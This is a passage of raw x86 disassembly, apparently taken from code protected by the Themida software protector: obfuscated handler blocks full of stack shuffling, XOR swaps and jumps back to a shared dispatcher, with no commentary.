; ---------------------------------------------------------------------------
loc_55A406: ; CODE XREF: Themida_:0055A51Cj
add esi, 4CF7B4EFh
sub edx, esi
pop esi
push 4976h
jmp loc_559A16
; ---------------------------------------------------------------------------
loc_55A419: ; CODE XREF: Themida_:00550127j
mov [esp], ebp
push esp
jmp loc_558B4B
; ---------------------------------------------------------------------------
loc_55A422: ; CODE XREF: Themida_:00556555j
sub edx, ebp
pop ebp
add edx, ebx
push edi
mov edi, 6C56790Ah
add edx, edi
pop edi
jmp loc_55AD5D
; ---------------------------------------------------------------------------
loc_55A435: ; CODE XREF: Themida_:0055788Dj
pop esi
sub eax, 74970E7Dh
jmp loc_551184
; ---------------------------------------------------------------------------
loc_55A440: ; CODE XREF: Themida_:0054FC75j
mov ecx, esp
jmp loc_553347
; ---------------------------------------------------------------------------
loc_55A447: ; CODE XREF: Themida_:00558789j
pop edi
shl edx, 4
sub edx, 647009C5h
add ecx, edx
mov edx, [esp]
add esp, 4
add edx, ecx
pop ecx
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
shr ecx, 7
push 3624h
mov [esp], edx
push esi
mov esi, 1B8525BEh
sub esp, 4
mov [esp], ecx
jmp loc_559FAE
; ---------------------------------------------------------------------------
loc_55A48D: ; CODE XREF: Themida_:00554590j
mov ebp, esi
pop esi
push ecx
jmp loc_54EA95
; ---------------------------------------------------------------------------
loc_55A496: ; CODE XREF: Themida_:0054FFFCj
mov esp, [esp]
add edi, ebx
pop ebx
shr edi, 7
and edi, 6C3F1930h
push esi
mov esi, 62B0B85h
add esi, 29FE593Fh
shr esi, 5
or esi, 19040C14h
xor esi, 0A242CDEh
jmp loc_555F42
; ---------------------------------------------------------------------------
loc_55A4C5: ; CODE XREF: Themida_:00555C4Fj
sub esp, 4
mov [esp], edi
jmp loc_55259D
; ---------------------------------------------------------------------------
loc_55A4D0: ; CODE XREF: Themida_:00553D0Fj
mov ebp, 2
add edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5576C9
; ---------------------------------------------------------------------------
loc_55A4E6: ; CODE XREF: Themida_:00556F33j
add esp, 4
pop esi
push edi
mov edi, esp
sub esp, 4
mov [esp], edx
push esi
push 4E757952h
pop esi
xor esi, 68CB68EAh
push ecx
mov ecx, 26BE11BCh
xor esi, ecx
pop ecx
mov edx, esi
pop esi
add edi, edx
jmp loc_54ECD1
; ---------------------------------------------------------------------------
loc_55A516: ; CODE XREF: Themida_:005543E9j
push esi
mov esi, 2418642Ah
jmp loc_55A406
; ---------------------------------------------------------------------------
loc_55A521: ; CODE XREF: Themida_:005571B4j
inc dword ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55A52A: ; CODE XREF: Themida_:00557B0Fj
mov ecx, 2
push edi
jmp loc_550B0B
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push small 3290h
jmp loc_551D58
; ---------------------------------------------------------------------------
loc_55A542: ; CODE XREF: Themida_:0054FEABj
push eax
push edx
mov edx, 4C4751DBh
or edx, 1074775Ch
and edx, 1BF12DCFh
xor edx, 63C41DE8h
neg edx
not edx
xor edx, 5E243ADBh
push edx
sub dword ptr [esp], 44EC10D6h
pop eax
add eax, 44EC10D6h
mov edx, [esp]
add esp, 4
mov ebx, 259102D9h
jmp loc_54ED80
; ---------------------------------------------------------------------------
loc_55A586: ; CODE XREF: Themida_:00555C8Dj
xor [esp], eax
xor eax, [esp]
xor [esp], eax
not eax
xchg eax, [esp]
mov ebp, [esp]
add esp, 4
xor ebp, 6AA46C46h
xor eax, ebp
mov ebp, [esp]
jmp loc_550D8E
; ---------------------------------------------------------------------------
loc_55A5AD: ; CODE XREF: Themida_:005555D1j
xor esi, 9A57835h
jmp loc_556B00
; ---------------------------------------------------------------------------
loc_55A5B8: ; CODE XREF: Themida_:00553E0Ej
push edi
push ebp
mov ebp, 3BBE00F4h
mov edi, 265B64E8h
xor edi, ebp
pop ebp
sub edi, 3ACC2613h
dec edi
push edi
sub esp, 4
mov [esp], ebp
push dword ptr [esp]
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
pop ebp
not ebp
xchg ebp, edi
sub edi, 0C958404h
xor eax, edi
jmp loc_558C94
; ---------------------------------------------------------------------------
loc_55A604: ; CODE XREF: Themida_:0055826Ej
add esp, 4
xor ebx, 437C2D74h
mov edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5548B4
; ---------------------------------------------------------------------------
loc_55A61E: ; CODE XREF: Themida_:00557933j
push ebx
mov ebx, 6A0267CEh
inc ebx
jmp loc_553208
; ---------------------------------------------------------------------------
loc_55A62A: ; CODE XREF: Themida_:0054FCA0j
pop ebx
and edx, eax
jmp loc_557524
; ---------------------------------------------------------------------------
loc_55A632: ; CODE XREF: Themida_:0055350Dj
dec esi
push eax
mov eax, 6606004Bh
jmp loc_554CC5
; ---------------------------------------------------------------------------
loc_55A63E: ; CODE XREF: Themida_:00556102j
push esi
push ebx
push 508E418Dh
pop ebx
or ebx, 68DC4EFDh
push esi
mov esi, 1C0A2230h
or ebx, esi
jmp loc_55A7E0
; ---------------------------------------------------------------------------
loc_55A659: ; CODE XREF: Themida_:00555958j
add esp, 4
jmp loc_54F81E
; ---------------------------------------------------------------------------
loc_55A661: ; CODE XREF: Themida_:00556A39j
add ebx, 27F0A860h
jmp loc_550FFE
; ---------------------------------------------------------------------------
loc_55A66C: ; CODE XREF: Themida_:0055897Aj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55A671: ; CODE XREF: Themida_:0054FED6j
pop ebx
add esi, 4
jmp loc_54EDF4
; ---------------------------------------------------------------------------
loc_55A67A: ; CODE XREF: Themida_:005544FAj
push esp
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_555ED6
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_554C53
; ---------------------------------------------------------------------------
loc_55A696: ; CODE XREF: Themida_:00551341j
sub ebx, 5FB069B7h
push dword ptr [esp]
pop esi
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_556DCD
; ---------------------------------------------------------------------------
loc_55A6B4: ; CODE XREF: Themida_:0055599Cj
sub edx, 7AA70225h
add edx, ebp
add edx, 7AA70225h
add edx, 2863CF6h
pop ebp
jmp loc_55AE53
; ---------------------------------------------------------------------------
loc_55A6CE: ; CODE XREF: Themida_:005561B0j
add edi, 4
jmp loc_556120
; ---------------------------------------------------------------------------
loc_55A6D6: ; CODE XREF: Themida_:005535A6j
mov edi, [esp]
add esp, 4
jmp loc_55027E
; ---------------------------------------------------------------------------
loc_55A6E1: ; CODE XREF: Themida_:00553E82j
mov ebx, esp
push edx
mov edx, 17F32ACBh
push ebx
mov ebx, 17F32ACFh
xor edx, ebx
pop ebx
add ebx, edx
mov edx, [esp]
jmp loc_55884B
; ---------------------------------------------------------------------------
loc_55A6FC: ; CODE XREF: Themida_:005556C2j
shr edi, 5
shr edi, 1
shr edi, 4
push eax
mov eax, 0FFF955A9h
add edi, eax
pop eax
sub esi, 679C3D68h
jmp loc_5561CE
; ---------------------------------------------------------------------------
loc_55A718: ; CODE XREF: Themida_:00557E75j
pop ecx
xor al, dh
push dword ptr [esp]
jmp loc_559687
; ---------------------------------------------------------------------------
loc_55A723: ; CODE XREF: Themida_:0055A1D7j
mov ecx, 1BFC3017h
mov ebp, ecx
mov ecx, [esp]
push ebp
push esp
jmp loc_553990
; ---------------------------------------------------------------------------
loc_55A734: ; CODE XREF: Themida_:00557E03j
sub esi, 0AD75B009h
or ebp, esi
pop esi
neg ebp
add ebp, 53300751h
jmp loc_556A2D
; ---------------------------------------------------------------------------
loc_55A74A: ; CODE XREF: Themida_:00555D60j
push 83Ah
mov [esp], esp
jmp loc_55A77B
; ---------------------------------------------------------------------------
loc_55A757: ; CODE XREF: Themida_:00559D06j
or eax, eax
jz loc_54F8D9
push 1F88h
mov [esp], edx
push ebx
push ecx
mov ecx, 5CAA0F2Dh
sub ecx, 201CF4E5h
mov ebx, ecx
jmp loc_552035
; ---------------------------------------------------------------------------
loc_55A77B: ; CODE XREF: Themida_:0055A752j
add dword ptr [esp], 4
pop ecx
jmp loc_556D49
; ---------------------------------------------------------------------------
loc_55A785: ; CODE XREF: Themida_:005595F4j
xor ebx, [esp]
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55A78E: ; CODE XREF: Themida_:00557C5Fj
inc eax
add eax, 29BE5F1Bh
jmp loc_5519BD
; ---------------------------------------------------------------------------
loc_55A799: ; CODE XREF: Themida_:0055A008j
sub dl, 1Bh
add ch, dl
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
dec ch
jmp loc_55869D
; ---------------------------------------------------------------------------
loc_55A7B9: ; CODE XREF: Themida_:00558387j
shl edx, 4
jmp loc_558050
; ---------------------------------------------------------------------------
loc_55A7C1: ; CODE XREF: Themida_:0055852Fj
xchg ebx, [esp]
jmp loc_54EBEE
; ---------------------------------------------------------------------------
loc_55A7C9: ; CODE XREF: Themida_:00558F9Ej
pop esi
add ecx, esi
sub ecx, 991189Ah
jmp loc_558694
; ---------------------------------------------------------------------------
loc_55A7D7: ; CODE XREF: Themida_:00559E13j
xchg ebp, [esp]
pop esp
jmp loc_55B046
; ---------------------------------------------------------------------------
loc_55A7E0: ; CODE XREF: Themida_:0055A654j
mov esi, [esp]
add esp, 4
xor ebx, 7CDE6FF9h
push edx
mov edx, ebx
mov esi, edx
jmp loc_552650
; ---------------------------------------------------------------------------
loc_55A7F6: ; CODE XREF: Themida_:00551189j
add eax, edx
add eax, 28E02D7Ah
add eax, 74970E7Dh
sub esp, 4
jmp loc_54F1F4
; ---------------------------------------------------------------------------
loc_55A80A: ; CODE XREF: Themida_:0055572Fj
pop ebx
jmp loc_54FA41
; ---------------------------------------------------------------------------
loc_55A810: ; CODE XREF: Themida_:00557A6Aj
push edx
mov edx, 4
sub esi, 41541FCBh
add esi, 21658BDh
jmp loc_55AD33
; ---------------------------------------------------------------------------
loc_55A827: ; CODE XREF: Themida_:00555685j
add edx, 0E9C360Eh
add edx, ecx
jmp loc_559817
; ---------------------------------------------------------------------------
loc_55A834: ; CODE XREF: Themida_:0054F467j
sub ebx, 0E436D4E5h
add ecx, ebx
jmp loc_55118E
; ---------------------------------------------------------------------------
loc_55A841: ; CODE XREF: Themida_:005570FCj
add edx, 2960066Dh
jmp loc_54F7F9
; ---------------------------------------------------------------------------
loc_55A84C: ; CODE XREF: Themida_:00553DE7j
xor ebx, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_552936
; ---------------------------------------------------------------------------
loc_55A85B: ; CODE XREF: Themida_:0055A143j
inc cl
and cl, 0B4h
jmp loc_5540F3
; ---------------------------------------------------------------------------
loc_55A865: ; CODE XREF: Themida_:0055AC2Dj
sub dh, 3
add al, dh
pop edx
push 66E3h
jmp loc_559C8D
; ---------------------------------------------------------------------------
loc_55A875: ; CODE XREF: Themida_:0055141Fj
dec edx
or edx, 5D5D3B68h
jmp loc_551C19
; ---------------------------------------------------------------------------
loc_55A881: ; CODE XREF: Themida_:00558950j
push esi
mov esi, 14037DCBh
and esi, 70F02B9Eh
add esi, 0F72A3EE5h
xchg ebx, esi
not ebx
xchg ebx, esi
push edi
jmp loc_550E31
; ---------------------------------------------------------------------------
loc_55A89F: ; CODE XREF: Themida_:005508E0j
mov ch, 6
xor ch, al
pop eax
shr ch, 4
jmp loc_54FA73
; ---------------------------------------------------------------------------
loc_55A8AC: ; CODE XREF: Themida_:0055059Fj
push edx
mov dh, 0DAh
add dh, 53h
shl dh, 6
inc dh
jmp loc_55839F
; ---------------------------------------------------------------------------
lodsd
push 4E04h
mov [esp], ebp
jmp loc_55AD94
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 2F0Dh
mov [esp], edi
sub esp, 4
mov [esp], esp
jmp loc_55994A
; ---------------------------------------------------------------------------
loc_55A8E1: ; CODE XREF: Themida_:00553740j
mov edx, 2
add edi, edx
mov edx, [esp]
jmp loc_55AE24
; ---------------------------------------------------------------------------
loc_55A8F0: ; CODE XREF: Themida_:005561D8j
or edi, 24EB7D9Ah
not edi
inc edi
sub edi, 0F377C4D9h
add esi, edi
pop edi
pop edi
add esi, 2
xchg esi, [esp]
mov esp, [esp]
shr word ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55A916: ; CODE XREF: Themida_:0055AB8Ej
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 63A8AC5Ch
jmp loc_557377
; ---------------------------------------------------------------------------
loc_55A945: ; CODE XREF: Themida_:0054EE5Dj
mov ecx, 0BC4C1BBAh
xor ebx, ecx
jmp loc_54F24E
; ---------------------------------------------------------------------------
loc_55A951: ; CODE XREF: Themida_:0055A25Dj
not esi
sub esi, 0DE06E9CCh
add edi, 6A6E3D14h
add edi, esi
sub edi, 6A6E3D14h
pop esi
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_55AE84
; ---------------------------------------------------------------------------
loc_55A979: ; CODE XREF: Themida_:0055A38Bj
mov [esp], eax
push dword ptr [esp+4]
jmp loc_556DB5
; ---------------------------------------------------------------------------
loc_55A985: ; CODE XREF: Themida_:005501E5j
imul cx, ax
push cx
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55A991: ; CODE XREF: Themida_:0055483Bj
add al, 1
xor al, 0D1h
jmp loc_55B061
; ---------------------------------------------------------------------------
loc_55A99A: ; CODE XREF: Themida_:00556614j
add esp, 4
jmp loc_54F7BF
; ---------------------------------------------------------------------------
loc_55A9A2: ; CODE XREF: Themida_:00556E89j
pop eax
add edi, 7439680Eh
inc edi
shr edi, 5
and edi, 89F5768h
xor edi, 891504h
add ebp, edi
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add edx, edi
push 6EF7h
mov [esp], edi
push ebp
push 0ABD03EEh
pop ebp
dec ebp
or ebp, 10E24DD3h
xor ebp, 279B4F0Ch
mov edi, ebp
pop ebp
jmp loc_553A7A
; ---------------------------------------------------------------------------
loc_55A9EC: ; CODE XREF: Themida_:0055744Ej
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
push esi
mov esi, 52511B99h
jmp loc_555DE0
; ---------------------------------------------------------------------------
loc_55A9FE: ; CODE XREF: Themida_:0055033Dj
push eax
jmp loc_554666
; ---------------------------------------------------------------------------
loc_55AA04: ; CODE XREF: Themida_:005546C2j
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
shl edx, 4
xor edx, 11390835h
jmp loc_556AC7
; ---------------------------------------------------------------------------
loc_55AA24: ; CODE XREF: Themida_:00551B77j
push ebx
push 3051h
mov [esp], eax
mov eax, 0C2B4846h
mov ebx, eax
jmp loc_5577BB
; ---------------------------------------------------------------------------
loc_55AA39: ; CODE XREF: Themida_:00551DDBj
pop dword ptr [esp]
pop esp
bt [esp], eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55AA47: ; CODE XREF: Themida_:00559945j
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
jmp loc_5504A8
; ---------------------------------------------------------------------------
loc_55AA57: ; CODE XREF: Themida_:0055534Fj
pop edi
xchg ecx, [esp]
pop esp
mov [esp], esi
jmp loc_55B16C
; ---------------------------------------------------------------------------
loc_55AA64: ; CODE XREF: Themida_:00556218j
sub ecx, edi
jmp loc_555FC0
; ---------------------------------------------------------------------------
loc_55AA6B: ; CODE XREF: Themida_:00557CD7j
push 27C6568Eh
pop edx
shr edx, 8
jmp loc_555247
; ---------------------------------------------------------------------------
loc_55AA79: ; CODE XREF: Themida_:00550460j
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
shr ecx, 6
push 5338h
jmp loc_555A3E
; ---------------------------------------------------------------------------
loc_55AA98: ; CODE XREF: Themida_:00558CBAj
push edx
jmp loc_5573DF
; ---------------------------------------------------------------------------
loc_55AA9E: ; CODE XREF: Themida_:0054EFA3j
add esp, 4
push 40B6h
mov [esp], edi
mov edi, 614326F0h
jmp loc_556C74
; ---------------------------------------------------------------------------
loc_55AAB3: ; CODE XREF: Themida_:00552DE5j
xor edx, ebp
xor ebp, edx
xor edx, ebp
xor edx, 32F07C06h
shl edx, 3
add edx, 826C57F2h
jmp loc_55463F
; ---------------------------------------------------------------------------
loc_55AACD: ; CODE XREF: Themida_:00553B42j
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55AAD9: ; CODE XREF: Themida_:005533EDj
sub esp, 4
mov [esp], ebp
mov ebp, 410771B5h
jmp loc_5542F2
; ---------------------------------------------------------------------------
loc_55AAEC: ; CODE XREF: Themida_:0055738Bj
mov esi, edx
pop edx
inc esi
jmp loc_55769F
; ---------------------------------------------------------------------------
loc_55AAF5: ; CODE XREF: Themida_:0055870Cj
add esp, 2
add al, 68h
xchg bh, al
jmp loc_557BA6
; ---------------------------------------------------------------------------
loc_55AB04: ; CODE XREF: Themida_:0055939Dj
dec ecx
add ecx, 6DAA6340h
add ecx, 0B7EE359Fh
sub edx, 35BE6028h
jmp loc_55648D
; ---------------------------------------------------------------------------
loc_55AB1C: ; CODE XREF: Themida_:00558F97j
not esi
add esi, 0A8185078h
and edx, esi
mov esi, [esp]
add esp, 4
sub edx, 4026208Eh
jmp loc_554408
; ---------------------------------------------------------------------------
loc_55AB3A: ; CODE XREF: Themida_:005502A4j
pop esp
btc [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55AB46: ; CODE XREF: Themida_:00551F65j
add esp, 4
push ebx
push 384Fh
mov [esp], ecx
sub esp, 4
mov [esp], edx
mov edx, 611D6D48h
push ebx
mov ebx, 2C1558ADh
mov ecx, ebx
jmp loc_558DA5
; ---------------------------------------------------------------------------
loc_55AB6D: ; CODE XREF: Themida_:00559668j
and cl, ah
jmp loc_55583B
; ---------------------------------------------------------------------------
loc_55AB74: ; CODE XREF: Themida_:005510A8j
sub ebx, eax
push eax
mov eax, 7B500721h
sub ebx, 3DDD3591h
add ebx, eax
jmp loc_5522F1
; ---------------------------------------------------------------------------
loc_55AB89: ; CODE XREF: Themida_:0055ACBFj
sub eax, 5085573Fh
jmp loc_55A916
; ---------------------------------------------------------------------------
loc_55AB93: ; CODE XREF: Themida_:00554879j
mov bp, 2
add [esp+2], bp
mov bp, [esp]
jmp loc_559B63
; ---------------------------------------------------------------------------
loc_55ABA5: ; CODE XREF: Themida_:0055288Dj
mov ax, [esp]
add esp, 2
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_54FC4F
; ---------------------------------------------------------------------------
loc_55ABB7: ; CODE XREF: Themida_:00556320j
sub esi, 0A846BE79h
jmp loc_55788B
; ---------------------------------------------------------------------------
loc_55ABC2: ; CODE XREF: Themida_:00559D36j
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
and eax, ebx
pop ebx
or eax, eax
jz loc_559A65
push 1BFCh
mov [esp], ebx
push 23F7h
mov [esp], esi
push 71445B5Dh
pop esi
shr esi, 4
sub esi, 1
push 1A19h
mov [esp], eax
push edi
mov edi, 141D5969h
mov eax, 556EBE4Ah
push edx
mov edx, 2B401ABh
jmp loc_5589E8
; ---------------------------------------------------------------------------
loc_55AC1D: ; CODE XREF: Themida_:00555105j
push esp
jmp loc_557EC6
; ---------------------------------------------------------------------------
loc_55AC23: ; CODE XREF: Themida_:0054F583j
pop ecx
add esp, 4
add dh, 6Dh
and dh, 0B2h
jmp loc_55A865
; ---------------------------------------------------------------------------
loc_55AC32: ; CODE XREF: Themida_:00558EC2j
push eax
jmp loc_554C31
; ---------------------------------------------------------------------------
loc_55AC38: ; CODE XREF: Themida_:0055186Bj
push edx
mov edx, esp
jmp loc_5531BD
; ---------------------------------------------------------------------------
loc_55AC40: ; CODE XREF: Themida_:005557DAj
mov ebp, 36B233C7h
add ebp, 0DF35F75Eh
push ecx
mov ecx, 6E527C85h
sub edx, ecx
pop ecx
add edx, ebp
add edx, 6E527C85h
pop ebp
sub edx, 37F52BCDh
push ecx
mov ecx, 0
add ecx, 74836ADh
sub ecx, edx
sub ecx, 74836ADh
xchg ecx, edx
pop ecx
push edi
jmp loc_54EC08
; ---------------------------------------------------------------------------
loc_55AC80: ; CODE XREF: Themida_:00555023j
not dword ptr [esp]
pop eax
xor eax, 68297CDAh
xor eax, 0B163FABFh
add esi, eax
mov eax, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
pop esp
or eax, eax
jnz loc_54F0A9
push 1
push dword ptr [esp]
jmp loc_5502E4
; ---------------------------------------------------------------------------
loc_55ACB2: ; CODE XREF: Themida_:0055AEDCj
mov [esp], ebx
pop ecx
pop ebx
push esi
jmp loc_558A95
; ---------------------------------------------------------------------------
loc_55ACBD: ; CODE XREF: Themida_:0054FBBAj
sub eax, ebp
jmp loc_55AB89
; ---------------------------------------------------------------------------
loc_55ACC4: ; CODE XREF: Themida_:00550522j
and ebx, 4715795Eh
not ebx
jmp loc_555FAC
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
push 3B1Dh
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebx
mov ebx, 2ADB6D70h
jmp loc_5547E9
; ---------------------------------------------------------------------------
loc_55ACF6: ; CODE XREF: Themida_:00553179j
sub ebx, ecx
mov ecx, [esp]
jmp loc_554EF4
; ---------------------------------------------------------------------------
loc_55AD00: ; CODE XREF: Themida_:00555EA5j
add ebx, 77B870D4h
dec ebx
add ebx, 0DC17DB1h
jmp loc_55A1BA
; ---------------------------------------------------------------------------
loc_55AD12: ; CODE XREF: Themida_:00551000j
pop ebx
add eax, ebp
jmp loc_5580F1
; ---------------------------------------------------------------------------
loc_55AD1A: ; CODE XREF: Themida_:005533AFj
add esi, ecx
pop ecx
xor esi, [esp]
jmp loc_550575
; ---------------------------------------------------------------------------
loc_55AD25: ; CODE XREF: Themida_:00550552j
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
push eax
jmp loc_5515D7
; ---------------------------------------------------------------------------
loc_55AD33: ; CODE XREF: Themida_:0055A822j
add esi, edx
sub esi, 21658BDh
add esi, 41541FCBh
pop edx
add esi, 4
push esi
jmp loc_553251
; ---------------------------------------------------------------------------
loc_55AD4E: ; CODE XREF: Themida_:0055803Dj
mov edx, 3E885268h
mov ecx, 2C55CEF1h
jmp loc_556BBC
; ---------------------------------------------------------------------------
loc_55AD5D: ; CODE XREF: Themida_:0055A430j
push ecx
mov ecx, 7A1335C7h
xor ecx, 3D697B1Fh
jmp loc_552422
; ---------------------------------------------------------------------------
loc_55AD6E: ; CODE XREF: Themida_:00552874j
push esp
pop ebx
push edi
jmp loc_554DB7
; ---------------------------------------------------------------------------
loc_55AD76: ; CODE XREF: Themida_:00558D1Cj
or ebp, 42C2623h
jmp loc_5596B3
; ---------------------------------------------------------------------------
loc_55AD81: ; CODE XREF: Themida_:00558CD8j
sub eax, 43E9752Ah
push 23A4h
mov [esp], edx
push ebx
jmp loc_55961D
; ---------------------------------------------------------------------------
loc_55AD94: ; CODE XREF: Themida_:0055A8C5j
mov ebp, 795328DCh
push ebx
push eax
jmp loc_555775
; ---------------------------------------------------------------------------
loc_55ADA0: ; CODE XREF: Themida_:00553412j
add eax, 4
push 2D50h
mov [esp], ecx
jmp loc_557F15
; ---------------------------------------------------------------------------
loc_55ADB2: ; CODE XREF: Themida_:0054F2D3j
push ebp
mov ebp, esp
push eax
mov eax, 43773E6Dh
inc eax
neg eax
neg eax
not eax
xor eax, 0BC88C195h
add ebp, eax
jmp loc_5563B2
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_552122
; ---------------------------------------------------------------------------
loc_55ADDA: ; CODE XREF: Themida_:0054F18Dj
mov ecx, 70DC26F2h
xor ecx, 15785F28h
not ecx
not ecx
xor ecx, 65A479DEh
jmp loc_551BA0
; ---------------------------------------------------------------------------
loc_55ADF4: ; CODE XREF: Themida_:00550651j
mov [esp], ebx
sub esp, 4
mov [esp], eax
jmp loc_55321C
; ---------------------------------------------------------------------------
loc_55AE05: ; CODE XREF: Themida_:00553694j
and edx, 23D3448Ah
jmp loc_555E5D
; ---------------------------------------------------------------------------
loc_55AE10: ; CODE XREF: Themida_:loc_553564j
; Themida_:00557187j ...
push dword ptr [esp]
push dword ptr [esp]
pop ebx
jmp loc_55301F
; ---------------------------------------------------------------------------
loc_55AE1C: ; CODE XREF: Themida_:00559EB8j
mov edi, ebp
pop ebp
jmp loc_558B9C
; ---------------------------------------------------------------------------
loc_55AE24: ; CODE XREF: Themida_:0055A8EBj
add esp, 4
xchg edi, [esp]
mov esp, [esp]
div cl
jmp loc_5523D9
; ---------------------------------------------------------------------------
loc_55AE37: ; CODE XREF: Themida_:00557256j
mov [esp], ebx
push 1
push dword ptr [esp]
jmp loc_54FD7E
; ---------------------------------------------------------------------------
loc_55AE47: ; CODE XREF: Themida_:0054EE47j
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55AE53: ; CODE XREF: Themida_:0055A6C9j
push ebx
jmp loc_5583F6
; ---------------------------------------------------------------------------
loc_55AE59: ; CODE XREF: Themida_:00559DC9j
add dl, 33h
or dl, 56h
not dl
push ax
jmp loc_5595D1
; ---------------------------------------------------------------------------
loc_55AE68: ; CODE XREF: Themida_:00550C6Dj
sub eax, 76B82A27h
jmp loc_559434
; ---------------------------------------------------------------------------
loc_55AE72: ; CODE XREF: Themida_:0055328Cj
add esi, 0B906320Fh
jmp loc_559C06
; ---------------------------------------------------------------------------
loc_55AE7D: ; CODE XREF: Themida_:00551C54j
not esi
jmp loc_55A195
; ---------------------------------------------------------------------------
loc_55AE84: ; CODE XREF: Themida_:0055A974j
mov esp, [esp]
sub esp, 4
mov [esp], ecx
push 1
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_559CA1
; ---------------------------------------------------------------------------
loc_55AE9E: ; CODE XREF: Themida_:005558DCj
pop ecx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5570CE
; ---------------------------------------------------------------------------
loc_55AEB7: ; CODE XREF: Themida_:0055949Dj
pop ecx
jmp loc_55914C
; ---------------------------------------------------------------------------
push ecx
sub esp, 4
mov [esp], ebx
mov ebx, 438D7AEEh
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55ACB2
; ---------------------------------------------------------------------------
loc_55AEE1: ; CODE XREF: Themida_:005589E3j
add esi, 4
xchg esi, [esp]
pop esp
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
and eax, ecx
push dword ptr [esp]
jmp loc_551CA7
; ---------------------------------------------------------------------------
loc_55AEFE: ; CODE XREF: Themida_:00556DE4j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55AF03: ; CODE XREF: Themida_:0055931Fj
pop ebp
jmp loc_551ED2
; ---------------------------------------------------------------------------
loc_55AF09: ; CODE XREF: Themida_:005577C0j
mov edi, 46462647h
add ebx, edi
pop edi
shr ebx, 5
dec ebx
sub ebx, 2DF5245h
jmp loc_54F13E
; ---------------------------------------------------------------------------
loc_55AF20: ; CODE XREF: Themida_:00553EA4j
add edx, 42557D37h
dec edx
or edx, 5D6A1484h
push edx
inc dword ptr [esp]
pop edx
add edx, 818024h
push edx
jmp loc_54FD62
; ---------------------------------------------------------------------------
loc_55AF3E: ; CODE XREF: Themida_:0055AFD1j
mov edi, esp
jmp loc_558436
; ---------------------------------------------------------------------------
loc_55AF45: ; CODE XREF: Themida_:00556DB0j
mov ebx, [esp]
add esp, 4
push esi
sub esp, 4
jmp loc_558034
; ---------------------------------------------------------------------------
loc_55AF54: ; CODE XREF: Themida_:0054ED49j
mov edi, 22E1D256h
sub edi, edx
jmp loc_558E77
; ---------------------------------------------------------------------------
loc_55AF60: ; CODE XREF: Themida_:00552B83j
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
push ebx
mov ebx, 1
push eax
mov eax, 24h
add eax, edi
add [eax], ebx
jmp loc_557885
; ---------------------------------------------------------------------------
loc_55AF7F: ; CODE XREF: Themida_:00556C35j
push ebp
mov ebp, 0B8F19CE6h
add eax, ebp
pop ebp
xor edx, eax
pop eax
mov eax, edx
pop edx
add esi, eax
pop eax
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
or eax, eax
jz loc_551E32
push edx
mov edx, 1Ch
jmp loc_558F5D
; ---------------------------------------------------------------------------
loc_55AFAE: ; CODE XREF: Themida_:00550190j
sub esi, ebp
jmp loc_5556D7
; ---------------------------------------------------------------------------
loc_55AFB5: ; CODE XREF: Themida_:0054EC44j
sub ebp, 5F1406CAh
pop ebx
xchg ebp, [esp]
jmp loc_55160F
; ---------------------------------------------------------------------------
loc_55AFC4: ; CODE XREF: Themida_:00555547j
pop edi
push ebp
push edi
push ebp
jmp loc_5546C7
; ---------------------------------------------------------------------------
loc_55AFCD: ; CODE XREF: Themida_:00550314j
add esp, 4
push edi
jmp loc_55AF3E
; ---------------------------------------------------------------------------
loc_55AFD6: ; CODE XREF: Themida_:0055191Aj
pop dword ptr [esp]
mov esp, [esp]
push 4740h
mov [esp], eax
sub esp, 4
jmp loc_5547AB
